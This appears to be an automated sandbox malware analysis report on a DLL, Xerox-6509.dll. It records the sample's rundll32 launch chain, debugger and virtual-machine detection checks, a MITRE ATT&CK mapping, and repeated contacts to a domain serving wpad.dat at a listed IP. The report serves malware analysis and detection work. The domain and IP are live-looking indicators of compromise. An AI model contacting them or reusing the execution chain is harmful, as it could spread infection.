Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7636:120:WilError_03

Source: Xerox-6509.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\Xerox-6509.dll,main

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\Xerox-6509.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\Xerox-6509.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\Xerox-6509.dll,main
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\Xerox-6509.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\Xerox-6509.dll",main
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\Xerox-6509.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\Xerox-6509.dll,main	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\Xerox-6509.dll",main	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\Xerox-6509.dll",#1	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Xerox-6509.dll

Static PE information: Image base 0x650c0000 > 0x60000000

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

API coverage: 5.7 %

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: rundll32.exe, 00000005.00000002.3212145173.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: rundll32.exe, 00000004.00000003.1419478481.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1412812438.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3212230393.000000000089C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1475253552.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3007397271.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2157934091.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1907987916.0000000000E46000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3100761644.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3212145173.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2126275843.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2152443796.0000000000E47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000004.00000002.3212230393.000000000085A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Windows\SysWOW64\rundll32.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_4-1119

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_00A05DB5 mov edx, dword ptr fs:[00000030h]	4_3_00A05DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_00A06315 mov eax, dword ptr fs:[00000030h]	4_3_00A06315
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_00A063F5 mov eax, dword ptr fs:[00000030h]	4_3_00A063F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_650C2454 mov eax, dword ptr fs:[00000030h]	4_2_650C2454
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_3_04995DB5 mov edx, dword ptr fs:[00000030h]	5_3_04995DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_3_04996315 mov eax, dword ptr fs:[00000030h]	5_3_04996315
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_3_049963F5 mov eax, dword ptr fs:[00000030h]	5_3_049963F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_3_00EB5DB5 mov edx, dword ptr fs:[00000030h]	6_3_00EB5DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_3_00EB63F5 mov eax, dword ptr fs:[00000030h]	6_3_00EB63F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_3_00EB6315 mov eax, dword ptr fs:[00000030h]	6_3_00EB6315

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_650C1600 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,		4_2_650C1600
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_650C15FC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,		4_2_650C15FC

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 104.21.62.151 443

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\Xerox-6509.dll",#1

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_650C1540 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

4_2_650C1540

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Rundll32	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	13 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	2 System Information Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
wpad.ru0994ecs.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://wpad.ru0994ecs.net/	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
wpad.ru0994ecs.net	104.21.62.151	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://wpad.ru0994ecs.net/wpad.dat	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://wpad.ru0994ecs.net/(2	rundll32.exe, 00000005.00000002.3212145173.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datL	rundll32.exe, 00000005.00000003.2301673720.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/e	rundll32.exe, 00000006.00000002.3212461603.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datJ	rundll32.exe, 00000005.00000003.1474379274.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1530412994.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1907987916.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1891609655.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1845254370.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1608481511.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1576377162.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1939774295.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1602107746.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1986104679.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1624359948.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.dat_2	rundll32.exe, 00000004.00000003.1647770477.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2092661893.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1942177143.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2128803389.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1988173285.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2155115703.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.dat)2	rundll32.exe, 00000004.00000003.1710120144.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datY	rundll32.exe, 00000006.00000003.2085460128.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1849817694.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.dat-3	rundll32.exe, 00000004.00000003.1647770477.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1654176314.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1993961092.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3212230393.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2265828652.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datT	rundll32.exe, 00000005.00000003.2027668202.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2027575872.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datg3	rundll32.exe, 00000004.00000003.2030406198.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datS	rundll32.exe, 00000006.00000003.1889834970.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1710120104.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3213033341.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1483980621.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3199182399.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1756181150.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1436589071.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2696298133.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1941484645.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1565975116.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1762023262.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1925631862.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1889738291.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1540003280.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1668392852.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1523318865.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3126828094.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1767802965.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2571721271.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1849817694.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/8.	rundll32.exe, 00000005.00000003.2157934091.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2152492975.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2218570353.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2240059294.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2234617944.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2265948419.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2301673720.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2152443796.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2157996645.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.dat?	rundll32.exe, 00000006.00000003.1710120104.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2085460128.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1756181150.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2059777138.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1565975116.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2141356968.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1540003280.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1668392852.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1622475492.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datm32	rundll32.exe, 00000004.00000003.1660350216.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2160540155.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2155115703.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1710120144.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2027668202.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2027575872.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1756181150.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1804017328.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1762023262.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1767802965.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datt2	rundll32.exe, 00000004.00000003.1603737524.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2066689185.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1792422852.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1993961092.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1660350216.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1988173285.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1603621904.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.dat:	rundll32.exe, 00000005.00000003.3100761644.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2265948419.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/a	rundll32.exe, 00000006.00000003.1710120104.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2352347406.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2640601207.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1437151274.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2778251951.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2296178023.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1539945198.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2085460128.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2614551292.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1977829920.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1756181150.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2023919527.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2059777138.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2696298133.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2473069313.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2824673687.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2420518407.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2588189264.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1941484645.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2896385302.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2368447198.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datD	rundll32.exe, 00000005.00000003.1418285939.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1474379274.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1418351695.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datb2	rundll32.exe, 00000004.00000003.1926281286.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1626164313.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1942177143.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1710120144.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datq	rundll32.exe, 00000006.00000003.2023919527.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2296178023.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1977829920.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2588189264.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1941484645.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2368447198.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2519450399.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datn	rundll32.exe, 00000005.00000003.2157934091.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1923903671.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2157996645.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datE3	rundll32.exe, 00000004.00000003.1926281286.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1894326184.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2066689185.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1993961092.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1735922553.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1910524803.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2092661893.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2030406198.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2128803389.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1988173285.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/H	rundll32.exe, 00000005.00000003.1576377162.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3212145173.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1602107746.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datm	rundll32.exe, 00000006.00000003.1889834970.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2085460128.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1762023262.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1889738291.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1849817694.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/S	rundll32.exe, 00000005.00000003.2152492975.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2152443796.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datx	rundll32.exe, 00000005.00000003.1530412994.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2090079990.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2063724054.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1845254370.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1608481511.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2027668202.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2027575872.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2090131792.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2063675351.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datw	rundll32.exe, 00000004.00000003.1419478481.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1412812438.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1475253552.00000000008A2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datt	rundll32.exe, 00000005.00000003.1658645800.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1991632241.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1991583376.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	false		unknown
